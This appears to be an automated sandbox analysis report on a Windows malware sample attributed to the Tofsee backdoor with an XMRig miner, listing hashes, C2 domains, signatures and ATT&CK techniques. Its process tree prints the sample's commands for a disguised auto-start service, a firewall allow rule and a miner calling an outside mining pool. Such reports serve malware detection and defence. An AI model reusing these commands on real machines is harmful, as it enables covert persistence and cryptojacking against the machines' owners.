Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-02-2023 18:06

General

  • Target

    file.exe

  • Size

    320KB

  • MD5

    0ff2cc1a89627650fbd3edeed0a53d02

  • SHA1

    da5c4a1813c20dbf75a9dffe6cdd6d82e94491ab

  • SHA256

    924137ae8f0dfa20b25904747081d640b44c9d313548af166970c55a282ad79f

  • SHA512

    b01cb4b9358947eb14fc16b262f3b63dd252d3b2428243e0212fd0c967642410a31766820b76e81112a407b9e81ba832bf9ec7b0cda21686a578a1613a30dc67

  • SSDEEP

    3072:yBr6yLLi1xR60YhH1qBkD9IPtbejvLhN+jXCHEuQjiMTE5xpRSag7c:ezLu160YzqSSP5IN+jXCkuQj9jaMc

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4860
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sbdqctbr\
      2⤵
        PID:3596
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lbdqhzk.exe" C:\Windows\SysWOW64\sbdqctbr\
        2⤵
          PID:3408
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sbdqctbr binPath= "C:\Windows\SysWOW64\sbdqctbr\lbdqhzk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4468
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sbdqctbr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sbdqctbr
          2⤵
          • Launches sc.exe
          PID:1268
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:32
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4860 -s 648
          2⤵
          • Program crash
          PID:520
      • C:\Windows\SysWOW64\sbdqctbr\lbdqhzk.exe
        C:\Windows\SysWOW64\sbdqctbr\lbdqhzk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:204
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:456
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4200
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 204 -s 536
          2⤵
          • Program crash
          PID:628
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4860 -ip 4860
        1⤵
          PID:424
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 204 -ip 204
          1⤵
            PID:2012

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\lbdqhzk.exe
            Filesize

            10.0MB

            MD5

            effa410ee35f0fd754008eaa611d4abd

            SHA1

            057d1b94cd4c155fd4ef70cf8fb0fb8f49f335d5

            SHA256

            5bbc45e060487a2cd50a8cb2c4336d1cb850ad94ec59f989d224d72c2d2626d7

            SHA512

            0c1be9410f6bd9e510e674495ae5d3dcb7cb0b64ae8ff06690df524fe5ee0ab2d6f0266b370cd9aa0bae92d50677f292221ee371aa094d8b0273ec42b088dd81

          • C:\Windows\SysWOW64\sbdqctbr\lbdqhzk.exe
            Filesize

            10.0MB

            MD5

            effa410ee35f0fd754008eaa611d4abd

            SHA1

            057d1b94cd4c155fd4ef70cf8fb0fb8f49f335d5

            SHA256

            5bbc45e060487a2cd50a8cb2c4336d1cb850ad94ec59f989d224d72c2d2626d7

            SHA512

            0c1be9410f6bd9e510e674495ae5d3dcb7cb0b64ae8ff06690df524fe5ee0ab2d6f0266b370cd9aa0bae92d50677f292221ee371aa094d8b0273ec42b088dd81

          • memory/32-142-0x0000000000000000-mapping.dmp
          • memory/204-149-0x0000000000400000-0x000000000046B000-memory.dmp
            Filesize

            428KB

          • memory/204-148-0x0000000000749000-0x000000000075E000-memory.dmp
            Filesize

            84KB

          • memory/456-152-0x0000000002A00000-0x0000000002C0F000-memory.dmp
            Filesize

            2.1MB

          • memory/456-161-0x0000000002FD0000-0x0000000002FD5000-memory.dmp
            Filesize

            20KB

          • memory/456-167-0x0000000002FE0000-0x0000000002FE7000-memory.dmp
            Filesize

            28KB

          • memory/456-164-0x0000000007A00000-0x0000000007E0B000-memory.dmp
            Filesize

            4.0MB

          • memory/456-158-0x00000000021B0000-0x00000000021C0000-memory.dmp
            Filesize

            64KB

          • memory/456-155-0x00000000021A0000-0x00000000021A6000-memory.dmp
            Filesize

            24KB

          • memory/456-151-0x0000000000E30000-0x0000000000E45000-memory.dmp
            Filesize

            84KB

          • memory/456-144-0x0000000000000000-mapping.dmp
          • memory/456-145-0x0000000000E30000-0x0000000000E45000-memory.dmp
            Filesize

            84KB

          • memory/456-150-0x0000000000E30000-0x0000000000E45000-memory.dmp
            Filesize

            84KB

          • memory/1268-140-0x0000000000000000-mapping.dmp
          • memory/2588-139-0x0000000000000000-mapping.dmp
          • memory/3408-136-0x0000000000000000-mapping.dmp
          • memory/3596-132-0x0000000000000000-mapping.dmp
          • memory/4200-170-0x0000000000000000-mapping.dmp
          • memory/4200-171-0x0000000000400000-0x00000000004F1000-memory.dmp
            Filesize

            964KB

          • memory/4200-176-0x0000000000400000-0x00000000004F1000-memory.dmp
            Filesize

            964KB

          • memory/4468-138-0x0000000000000000-mapping.dmp
          • memory/4860-133-0x00000000004EE000-0x0000000000503000-memory.dmp
            Filesize

            84KB

          • memory/4860-134-0x00000000021B0000-0x00000000021C3000-memory.dmp
            Filesize

            76KB

          • memory/4860-143-0x0000000000400000-0x000000000046B000-memory.dmp
            Filesize

            428KB

          • memory/4860-135-0x0000000000400000-0x000000000046B000-memory.dmp
            Filesize

            428KB